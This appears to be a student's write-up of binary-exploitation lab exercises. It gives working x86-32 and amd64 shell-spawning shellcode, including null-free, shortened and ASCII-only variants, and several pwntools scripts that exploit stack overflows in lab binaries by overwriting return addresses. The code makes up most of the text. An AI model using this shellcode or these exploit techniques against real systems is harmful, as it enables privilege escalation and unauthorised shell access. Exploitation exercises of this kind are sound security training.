1. **shellcode-32**

If we want to get the flag, we have to escalate our authority. Thus, the system calls we will use are getegid, setregid, and execve. In x86-32, the system call number must be at eax register then use “int 0x80” to trig it.

In addition, the argument setting is as following:

1st: **%ebx**

2nd: **%ecx**

3rd: **%edx**

4th: **%esi**

5th: **%edi**

**shellcode.S**

#include <sys/syscall.h>

.globl main

.type main, @function

main:

mov $SYS\_getegid, %eax

int $0x80

mov %eax, %ebx

mov %eax, %ecx

mov $SYS\_setregid,%eax

int $0x80

mov $0, %ecx

mov $0, %edx

mov $SYS\_execve, %eax

push $0

push $0x68732f6e

push $0x69622f2f

mov %esp, %ebx

int $0x80

1. **shellcode-64**

If we want to get the flag, we have to escalate our authority. Thus, the system calls we will use are getegid, setregid, and execve. In amd64, the system call number must be at rax register then use “syscall” to trig it.

In addition, the argument setting is as following:

1st: **%rdi**

2nd: **%rsi**

3rd: **%rdx**

4th: **%rcx**

**shellcode.S**

#include <sys/syscall.h>

.globl main

.type main, @function

main:

mov $SYS\_getegid, %rax

syscall

mov %rax, %rdi

mov %rax, %rsi

mov $SYS\_setregid, %rax

syscall

mov $0,%rsi

mov $0,%rdx

mov $SYS\_execve, %rax

mov $0x68732f6e69622f2f, %rdi

push $0

push %rdi

mov %rsp,%rdi

syscall

1. **nonzero-shellcode-32**

To avoid the unexpected situation like “\x00” which means end of the string, thus, we better zero out \x00 from our opcode.

**shellcode.s**

#include <sys/syscall.h>

.globl main

.type main, @function

main:

push $0x32

pop %eax

int $0x80

mov %eax, %ebx

mov %eax, %ecx

push $0x47

pop %eax

int $0x80

push $0x41

mov %esp, %ebx

push $0xb

pop %eax

cltd

push %edx

pop %ecx

int $0x80

1. **nonzero-shellcode-64**

To avoid the unexpected situation like “\x00” which means end of the string, thus, we better zero out \x00 from our opcode.

**shellcode.s**

#include <sys/syscall.h>

.globl main

.type main, @function

main:

push $SYS\_getegid

pop %rax

syscall

mov %rax, %rdi

mov %rax, %rsi

push $SYS\_setregid

pop %rax

syscall

mov $0x68732f6e69622f2f, %rdi

xor %rax,%rax

push %rax

push %rdi

mov %rsp,%rdi

mov %rax,%rsi

mov %rax,%rdx

push $SYS\_execve

pop %rax

syscall

1. **stack-ovfl-sc-32**

In this case, we can put our nonzero-32-shellcode into the buffer then find where it is. Then we can overwrite the return address to achieve the place where we store the shellcode. In addition, if there exists difference between gdb and real environment, we have to modify the offset of the address of shellcode by detecting core dump.

**bof.py**

from pwn import \*

shellcode = '\xb83\x01\x01\x01-\x01\x01\x01\x01\xcd\x80\x89\xc3\x89\xc1\xb8H\x01\x01\x01-\x01\x01\x01\x01\xcd\x801\xc0Phn/shh//bi\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'

with open('input.txt','wb') as f:

f.write(shellcode + "x" \* 89 + "\xe0\xd3\xff\xff")

1. **stack-ovfl-use-envp-32**

In this case, we are going to use the environmental variables, envp, as our point to put the shellcode into the program. At first, we feed a bunch of junk bytes to program leading it crash then find where the shellcode is. After that, we can put the right amount of junk bytes into buffer then place the address of shellcode to overwrite the return address.

**bof.py**

#!/usr/bin/env python

from pwn import \*

shellcode = '\xb83\x01\x01\x01-\x01\x01\x01\x01\xcd\x80\x89\xc3\x89\xc1\xb8H\x01\x01\x01-\x01\x01\x01\x01\xcd\x801\xc0Phn/shh//bi\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'

env\_list = {'Shellcode':shellcode}

p = process('./stack-ovfl-use-envp-32', env=env\_list)

p.sendline('A'\*1000)

import time

time.sleep(1)

core = Core('./core')

shellcode\_addr = core.stack.find(shellcode)

print('SHELLCODE is at: ' + hex(shellcode\_addr))

p = process('./stack-ovfl-use-envp-32', env=env\_list)

padding = 'A' \* (0xc)

saved\_ebp = 'ABCD'

return\_address = p32(shellcode\_addr)

buffer\_data = padding + saved\_ebp + return\_address

p.sendline(buffer\_data)

p.interactive()

1. **stack-ovfl-no-envp-32**

In this case, we are going to use the program arguments, argv, as our point to put the shellcode into our program. We also do the same thing as the last one. Put the junk bytes to let program crash then find where the shellcode is. After that, put the correct address into the return address.

**bof.py**

#!/usr/bin/env python

from pwn import \*

SHELLCODE = '\xb83\x01\x01\x01-\x01\x01\x01\x01\xcd\x80\x89\xc3\x89\xc1\xb8H\x01\x01\x01-\x01\x01\x01\x01\xcd\x801\xc0Phn/shh//bi\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'

ARG1 = ''

ENV = {}

ARG1 = SHELLCODE

p = process(["stack-ovfl-no-envp-32",ARG1], env=ENV)

print(p.recv(0x100))

p.send("A" \* 16 + "BBBB")

p.wait()

c = Core('./core')

addr\_shellcode = c.stack.find(SHELLCODE)

print("Your shellcode is at 0x%08x" % addr\_shellcode)

p = process(["stack-ovfl-no-envp-32", ARG1], env=ENV)

print(p.recv(0x100))

padding = ("A" \* (0xc))

saved\_ebp = "ABCD"

p.sendline(padding + saved\_ebp + p32(addr\_shellcode))

p.interactive()

1. **stack-ovfl-no-envp-no-argv-32**

In this case, we are going to use symlink to link the program and the shellcode letting shellcode get into the program as a file. After that, also put junk bytes to crash program then find where the shellcode is. Finally, get the precise the address of the shellcode then put it into the return address.

**bof.py**

#!/use/bin/env python

from pwn import \*

shellcode = '\xb83\x01\x01\x01-\x01\x01\x01\x01\xcd\x80\x89\xc3\x89\xc1\xb8H\x01\x01\x01-\x01\x01\x01\x01\xcd\x80jA\x89\xe3j\x0bX\x99RY\xcd\x80'

src = '/home/users/chench6/week3/stack-ovfl-no-envp-no-argv-32/stack-ovfl-no-envp-no-argv-32'

dest = '/home/users/chench6/week3/stack-ovfl-no-envp-no-argv-32/' + shellcode

os.symlink(src,dest)

ARG1 = ''

ENV = {}

p = process([shellcode, ARG1], env=ENV)

print(p.recv(0x100))

p.send("A"\*500)

p.wait()

c = Core('./core')

addr\_shellcode = c.stack.find(shellcode)

print("Your shellcode is at 0x%08x" % addr\_shellcode)

p = process([shellcode, ARG1], env=ENV)

print(p.recv(0x100))

padding = ("A" \* (0xc))

saved\_ebp = "ABCD"

p.sendline(padding + saved\_ebp + p32(addr\_shellcode))

p.interactive()

1. **short-shellcode-32**

In this case, to reduce the length of the shellcode. And, the part we have to do is execve().

I used the existed value in register esi to link it to the the program, a.c. Then just pop the value of esi to ebx, the argument was set successfully. In addition, use cltd to set edx as 0.

**a.c**

int main(){

setregid(getegid(),getegid());

execl(“/bin/sh”,0);

}

**make objdump: (10 bytes)**

00000000 <main>:

0: 56 push %esi

1: 5b pop %ebx

2: 6a 0b push $0xb

4: 58 pop %eax

5: 99 cltd

6: 52 push %edx

7: 59 pop %ecx

8: cd 80 int $0x80

1. **short-shellcode-64**

In this case, to reduce the length of the shellcode. And, the part we have to do is execve().

To reduce the length, the “A” was linked to the “/bin/sh” then pop the A to the register rdi as the argument. And, use cltd to set rdx as 0.

0000000000000000 <main>:

0: 6a 41 pushq $0x41

2: 54 push %rsp

3: 5f pop %rdi

4: 6a 3b pushq $0x3b

6: 58 pop %rax

7: 99 cltd

8: 52 push %rdx

9: 5e pop %rsi

a: 0f 05 syscall

1. **stack-ovfl-where-32**

In this case, I modify the length of the shellcode to fit the buffer space then find the place where I can use to jump to exploit the instructions and pass the address detection. Then I can lead program running to the second jump instruction then achieve the address where I put the shellcode.

**bof.py**

#!/use/bin/env python

from pwn import \*

shellcode = 'j2X\xcd\x80\x89\xc3\x89\xc1jGX\xcd\x80jA\x89\xe3j\x0bX\x99RY\xcd\x80'

with open('input.txt','wb') as f:

f.write('\x90'\*6 + p32(0xffffd42c) + shellcode + 'A'\*(28-len(shellcode)) + p32(0xffffd424) + p32(0x08048549))

1. **ascii-shellcode-64**

In this case, we are required to use only ascii number to generate the shellcode.

**bof.py**

#include <sys/syscall.h>

.globl main

.type main, @function

main:

push %rax

pop %rdi

push %rax

pop %rsi

push $SYS\_setregid

pop %rax

syscall

push $0x30

pop %rax

xor $0x30,%al

push %rax

pop %rdx

push %rdx

pop %rsi

push $0x41

push %rsp

pop %rdi

push $0x3b

pop %rax

syscall